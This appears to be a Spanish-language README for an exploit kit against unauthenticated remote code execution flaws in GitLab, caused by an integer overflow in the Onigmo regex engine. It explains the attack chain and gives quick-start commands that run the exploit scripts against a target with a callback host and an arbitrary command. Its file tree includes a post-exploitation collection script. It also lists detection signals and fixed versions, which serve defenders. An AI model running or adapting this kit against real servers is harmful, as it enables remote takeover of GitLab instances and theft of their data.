Kit de explotación RCE de Onigmo en GitLab

CVE-2026-97229 + CVE-2026-110264 — Dos vulnerabilidades críticas (CVSS 10.0) de RCE no autenticado en GitLab CE/EE mediante desbordamiento de entero en el motor de expresiones regulares Onigmo.

Solo para pruebas autorizadas. Cada objetivo debe ser tuyo o estar cubierto por una autorización por escrito.

Vulnerabilidades

CVE	Vector	Afectados	Disparador	Autenticación requerida
CVE-2026-97229	Compilador de regex de CI/CD	19.2.0–19.4.1	GET /api/v4/projects/:id/ci/lint	Disparador no autenticado (acceso de escritura para la configuración)
CVE-2026-110264	Renderizado de .org en Org-mode	7.0–19.5.0	Renderizar un archivo .org manipulado	No se necesita cuenta

Arquitectura

Ambas CVE explotan la misma causa raíz: desbordamiento de entero en el motor de expresiones regulares Onigmo → escritura fuera de límites (OOB) → secuestro de la VM → system(). La diferencia está en la vía de entrega:

• CVE-2026-97229: regex maliciosa en rules:exists:regexp de .gitlab-ci.yml → API de lint de CI
• CVE-2026-110264: palabra clave #+TODO: maliciosa en un archivo .org → renderizador de Org-mode

Inicio rápido

# CVE-2026-97229 — CI lint path
python3 exploit/cve97229.py --url http://target:8080 \
    --token glpat-xxx --callback-host YOUR_IP \
    --command 'id; hostname' --authorized --scope scope.txt

# CVE-2026-110264 — Org-mode path (no auth needed!)
python3 exploit/cve110264.py --url http://target:8080 \
    --callback-host YOUR_IP --command 'id'

# Probe only (no exploitation)
python3 exploit/cve97229.py --url http://target --probe-only
python3 exploit/cve110264.py --url http://target --probe-only

Estructura del proyecto

exploit/
├── cve97229.py       # CI lint regex RCE (CVE-2026-97229)
├── cve110264.py      # Org-mode render RCE (CVE-2026-110264)
├── layout.py         # libruby.so offset derivation
├── common.py         # shared Onigmo payload + callback server
└── post/
    └── collect.sh    # post-exploitation collection
lab/
├── run.sh            # Docker lab launcher
└── stop.sh           # Lab cleanup
docs/
├── CVE-2026-97229.md # Technical analysis
└── CVE-2026-110264.md # Technical analysis

Detección

Triple señal para ambas CVE:

1. Caída del worker de Puma: [BUG] Segmentation fault con marcos de org-ruby o regexp_matcher.rb
2. Workhorse 502: badgateway: failed to receive response: EOF
3. Contenido de Git: cuantificadores divididos con (?#), repeticiones de [[:word:]], rutas UTF-8 de 4 bytes

Versiones corregidas

CVE	Corregida
CVE-2026-97229	19.2.8, 19.3.5, 19.4.2
CVE-2026-110264	18.11.13, 19.0.10, 19.1.9, 19.2.9, 19.3.6, 19.4.3, 19.5.1

Créditos

• joaxcar — descubrimiento original de CVE-2026-97229 (HackerOne)
• Rapid7 (Jonah Burgess) — análisis técnico y PoC independiente de CVE-2026-97229
• gandli — referencia del framework de laboratorio de CVE-2026-97229
• GitLab Security — reglas de detección y aviso
• Técnica de explotación de CVE-2026-110264 derivada de las notas de detección publicadas por GitLab

Licencia

MIT — solo para pruebas de seguridad autorizadas.